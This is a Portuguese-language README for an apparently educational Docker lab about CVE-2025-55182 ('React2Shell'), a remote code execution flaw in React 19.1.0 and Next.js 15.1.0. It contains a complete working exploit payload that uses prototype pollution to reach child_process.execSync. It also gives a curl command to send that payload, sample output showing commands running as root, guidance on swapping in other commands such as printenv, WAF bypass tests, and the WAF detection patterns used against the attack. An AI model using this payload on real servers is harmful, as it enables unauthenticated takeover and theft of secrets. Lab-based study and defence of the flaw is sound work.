Laboratório de testes baseado em Docker para a vulnerabilidade RCE CVE-2025-55182 (React2Shell) no React 19.1.0/Next.js 15.1.0. Inclui scripts de exploração, testes de bypass de WAF com NGINX/ModSecurity e comparação de versão corrigida para educação em segurança.
⚠️ Aviso: Contém uma vulnerabilidade de execução remota de código (RCE) realmente funcional.
Ambiente de teste em contêiner para a vulnerabilidade CVE-2025-55182 (React2Shell).
🔴 CRITICAL VULNERABILITY CONFIRMED!
Successfully executed 6/7 commands
Executed Commands:
✅ whoami: root
✅ hostname: c89f1bd355b2
✅ pwd: /app
✅ id: uid=0(root) gid=0(root) groups=0(root)...
✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
✅ node-ver: v20.19.6
Pontuação CVSS: 10.0 (CRITICAL)
Impacto: Execução Remota de Código (RCE)
Requer Autenticação: Não
Vetor de Ataque: Rede
$1:__proto__:then$B)child_process// Estrutura do payload de ataque
{
"then": "$1:__proto__:then", // Poluição de Object.prototype.then
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}', // Gatilho de desserialização Blob
"_response": {
"_prefix": "código_malicioso", // Código a ser executado
"_formData": {
"get": "$1:constructor:constructor" // Acesso ao construtor de funções
}
}
}
Windows (PowerShell):
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start
.\run-tests.ps1 status
Aguarde até que todos os contêineres estejam no estado healthy (cerca de 1-2 minutos).
Windows (PowerShell):
# Método 1: Usar script PowerShell (recomendado)
.\tests\exploit-working.ps1
# Método 2: Executar Node.js diretamente
node tests\exploit-working.js
### Passo 4: Verificar Resultados
Você pode verificar os resultados da execução dos comandos nos logs do servidor:
```bash
docker compose logs vulnerable-app --tail=20
exploit-working.js ⭐ RecomendadoWindows:
# Script PowerShell (recomendado)
.\tests\exploit-working.ps1
# Ou execute Node.js diretamente
node tests\exploit-working.js
O que faz:
Comandos testados:
whoami – Usuário atual (root)hostname – Nome do host do contêinerpwd – Diretório de trabalho (/app)id – Informações completas do usuáriouname -a – Informações do sistemanode --version – Versão do Node.js# Criar arquivo de payload
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary123--
EOF
# Enviar ataque
curl -X POST http://localhost:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
-H "Next-Action: exploit" \
--data-binary @payload.txt
# Verificar execução nos logs
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"
Você pode modificar o script de ataque para executar comandos desejados:
// No arquivo exploit-working.js:
const tests = [
{ name: 'custom', cmd: 'ls -la /app', desc: 'Listar diretório da aplicação' },
{ name: 'env', cmd: 'printenv', desc: 'Exibir variáveis de ambiente' }
]
| Porta | Serviço | Versão React | Finalidade | Status WAF |
|---|---|---|---|---|
| 3000 | vulnerable-app | 19.1.0 | Vulnerável – Teste CVE-2025-55182 | ❌ Sem proteção |
| 3001 | patched-app | 19.1.2 | Seguro – Verificação do patch | ✅ Corrigido |
| 8080 | nginx → vulnerable | 19.1.0 | Teste WAF (NGINX) | ⚠️ Limitado (sem inspeção de body) |
| 8081 | apache → vulnerable | 19.1.0 | Teste WAF (ModSecurity) | ⚠️ Limitado (resposta 405) |
| 8082 | nginx → patched | 19.1.2 | Teste de proteção dupla | ✅ Corrigido |
# Executar ataque funcional
node tests/exploit-working.js
# Resultado esperado: Comando executado com sucesso
# Saída: Informações do usuário, detalhes do sistema, etc.
Windows (PowerShell):
# Usar script PowerShell
.\tests\exploit-working.ps1 -Port 3001
Resultado esperado: Ataque falha (React 19.1.2 bloqueia o ataque)
Windows (PowerShell):
# Tentar ataque através do NGINX WAF
.\tests\exploit-working.ps1 -Port 8080
Resultado esperado: Bloqueado pelas regras do WAF
Localização: nginx/nginx.conf
Padrões de detecção:
__proto__, constructor:constructor$X:__proto__, referências $Bchild_process, execSync, require()%5f%5fproto%5f%5fNext-Action: #constructorAção de bloqueio:
HTTP 403 Forbidden
{
"error": "Request blocked by WAF",
"protection": "CVE-2025-55182",
"waf": "NGINX"
}
Localização: apache/modsecurity-rules.conf
Intervalo de IDs de regras: 100001-100017
Regras principais:
__proto__